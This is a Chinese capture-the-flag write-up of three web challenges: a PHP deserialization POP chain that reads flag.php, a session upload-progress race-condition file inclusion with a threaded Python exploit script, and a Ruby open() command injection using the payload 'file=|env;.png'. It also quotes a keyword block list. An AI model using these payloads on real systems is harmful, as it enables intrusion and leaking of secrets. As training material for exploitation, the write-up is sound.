目录
[第五空间 2021]yet_another_mysql_injection
-
- include 'flag.php';
- class pkshow
- {
- function echo_name()
- {
- return "Pk very safe^.^";
- }
- }
-
- class acp
- {
- protected $cinder;
- public $neutron;
- public $nova;
- function __construct()
- {
- $this->cinder = new pkshow;
- }
- function __toString()
- {
- if (isset($this->cinder))
- return $this->cinder->echo_name();
- }
- }
-
- class ace
- {
- public $filename;
- public $openstack;
- public $docker;
- function echo_name()
- {
- $this->openstack = unserialize($this->docker);
- $this->openstack->neutron = $heat;
- if($this->openstack->neutron === $this->openstack->nova)
- {
- $file = "./{$this->filename}";
- if (file_get_contents($file))
- {
- return file_get_contents($file);
- }
- else
- {
- return "keystone lost~";
- }
- }
- }
- }
-
- if (isset($_GET['pks']))
- {
- $logData = unserialize($_GET['pks']);
- echo $logData;
- }
- else
- {
- highlight_file(__file__);
- }
- ?>
exp 很好构造 就是要绕过两个点:
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
关键代码在这里, 如果 这里的docker为空的时候, this -> OpenStack 自然为空对象,则$this->openstack->neutron === $this->openstack->nova
两侧都为null自然可绕过。.
测试代码:
-
- $a="";
- $b=unserialize($a);
- var_dump($b);//bool(false)
- var_dump($a->sss);//报异常并返回null
- var_dump($a->ttt->xxx===null);//bool(true)
- ?>
可以看见以上代码。 $b对象的属性都为空。
构造exp:
- class acp
- {
- public $cinder;
- public $neutron;
- public $nova;
- }
- class ace
- {
- public $filename;
- public $openstack;
- public $docker;
- }
- $b=new acp();
- $c=new ace();
- $b->cinder=$c;
- $c->docker='';
- $c->filename='flag.php';
- echo urlencode(serialize($b));
-
-
-
- ?>
没跑出来,但是对照了wp 也没问题。
- class acp
- {
- protected $cinder;
- public $neutron;
- public $nova;
- function __construct()
- {
- $this->cinder = new ace();
- }
- function __toString()
- {
- if (isset($this->cinder))
- return $this->cinder->echo_name();
- }
- }
- class ace
- {
- public $filename;
- public $openstack;
- public $docker;
- function __construct()
- {
- $this->filename = "flag.php";
- $this->docker = 'O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}';
- }
- function echo_name()
- {
- $this->openstack = unserialize($this->docker);
- $this->openstack->neutron = $heat;
- if($this->openstack->neutron === $this->openstack->nova) {
- $file = "./{$this->filename}";
- if (file_get_contents($file))
- {
- return file_get_contents($file);
- }
- else
- {
- return "keystone lost~";
- }
- }
- }
- }
-
- $cls = new acp();
- echo urlencode(serialize($cls))."\n";
- echo $cls;
可惜没打出来
临时文件包含
-
- if(!isset($_GET['mode'])){
- highlight_file(__file__);
- }else if($_GET['mode'] == "eval"){
- $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
- if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
- eval($shell);
- }
-
-
- if(isset($_GET['file'])){
- if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
- include $_GET['file'];
- }
-
-
- function filter($var){
- $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
-
- foreach($banned as $ban){
- if(strstr($var, $ban)) return True;
- }
-
- return False;
- }
-
- function checkNums($var){
- $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
- $cnt = 0;
- for($i = 0; $i < strlen($alphanum); $i++){
- for($j = 0; $j < strlen($var); $j++){
- if($var[$j] == $alphanum[$i]){
- $cnt += 1;
- if($cnt > 8) return True;
- }
- }
- }
- return False;
- }
- ?>
看到代码,这道题有eval 和include 可以利用,看看eval 的利用条件,长度不能大于15, 过滤了关键字,和a-z A-Z 0-9 这基本上很难rce 了,异或 ^ 被过滤了,取反字符肯定大于15. eval基本是用不了了。
再来看看include 。 如果上传文件包含的话,不会受到字符长度的限制,也不会被过滤。
那么利用点应该就是这里了。
知道了利用点,先看看phpinfo();
逐一来解释一下以上 配置:
- session.save_handler:表示session以文件的形式存储。
- session.save_path:session默认存储路径在 /tmp 下。
- session.serialize_handler:反序列化和序列化的处理器是php
- session.upload_progress.cleanup: 功能为 on 时,即向服务器上传文件后,php会马上清楚对应session文件中的内容。on 也就意味着 需要条件竞争。
- session.upload_progress.enabled:表示upload_progress功能启动,即浏览器向服务器上传文件时,php会把此次文件上传的详细信息存储在session中。
- 第六七行中的freq 和 min_freq 两项用来设置服务器端对进度信息的更新频率。合理的设置这两项可以减轻服务器的负担。
- 第八九行中的prefix 和 name 两项用来设置进度信息在session中存储的变量名/键名。
- 第十行表示使用cookie记录sessionid。
- 第十一行表示是否在客户端仅仅使用 cookie 来存放会话 ID。
- 第十二行中的值为off,表示Cookie中的sessionid可控。
当我们自己定义cookie 中的 phpsessid 时,php为在服务器创建文件并存储在tmp/sess_id。服务器会自动化初始session,由(prefix+session.upload_progress.name)组成。由于session.use_strict_mode 为off 所以我们可以自定义sessionid 为我们的session文件名,然后控制文件内容,进行file的文件包含,因为clean up 为 on 所以需要用到条件竞争。然后访问 file =/tmp/sess_id 进行包含。
附上脚本。
- import io
- import requests
- import threading
-
- url="http://1.14.71.254:28073/"
- sessid="acd"
- myfile=io.BytesIO(b"test.txt" * 1024)
- writedata={"PHP_SESSION_UPLOAD_PROGRESS" : ""}
- mycookie={"PHPSESSID":sessid}
-
- def write(ss):
- while True:
- resp=requests.post(url=url, data=writedata, cookies=mycookie, files={"file": ("test.txt",123)})
-
-
- def read(ss):
- while True:
- payloadurl=url+'?file='+'/tmp/sess_'+sessid
- resp=requests.get(url=payloadurl)
- if 'test.txt' in resp.text:
- print(resp.text)
- break
- else:pass
-
-
- if __name__ == '__main__':
- envent=threading.Event()
- with requests.session() as ss:
- for i in range(0,30):
- threading.Thread(target=write, args=(ss, )).start()
- for i in range(0, 30):
- threading.Thread(target=read, args=(ss,)).start()
-
- envent.set()
看到include 可以往临时文件包含 方面思考。还要考虑到phpinfo的具体设置。
参考链接:从三道赛题再谈命令行 - 安全客,安全资讯平台 (anquanke.com)
题目有个源码下载:
- require 'sinatra'
- require 'digest'
- require 'base64'
-
- get '/' do
- open("./view/index.html", 'r').read()
- end
-
- get '/upload' do
- open("./view/upload.html", 'r').read()
- end
-
- post '/upload' do
- unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
- return ""
- end
- begin
- filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
- open(filename, 'wb') { |f|
- f.write open(params[:file][:tempfile],'r').read()
- }
- "Upload success, file stored at #{filename}"
- rescue
- 'something wrong'
- end
-
- end
-
- get '/convert' do
- open("./view/convert.html", 'r').read()
- end
-
- post '/convert' do
- begin
- unless params['file']
- return ""
- end
-
- file = params['file']
- unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
- return ""
- end
- res = open(file, 'r').read()
- headers 'Content-Type' => "text/html; charset=utf-8"
- "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
- rescue
- 'something wrong'
- end
- end
简单审计下代码,对ruby不是很 熟悉,但是简单看一下还是能看懂的。
- file = params['file']
- unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
- return ""
要求后缀必须为 png,不能包含 .. 不能包含 / ,过滤完成之后会用open(file,'r').read() 然后base64打印上传的内容.,而ruby 的open()函数是借用系统命令来打开文件的,所以可以命令执行。
对于file 参数不能存在 .. / 可以考虑在命令 注入的时候用base64编码后执行。
例如:
这里的 bHMgLwo= 就相当于 ls / 就可以绕过 file 过滤了 /
这里我们可以执行反弹shell ,其实也可以不用,看自己,因为这是有回显的。
ls / 看看根目录,解码一下base 64
得到:
- app
- bin
- boot
- dev
- etc
- home
- lib
- lib64
- media
- mnt
- opt
- proc
- root
- run
- sbin
- srv
- sys
- tmp
- usr
- var
找了好久没有 找到flag 文件。 看了其他师傅的wp 才知道在环境变量env 里面
payload:
file=|env;.png
ruby 中的open 函数借用了 系统命令。会产生命令执行漏洞。以 | 分割。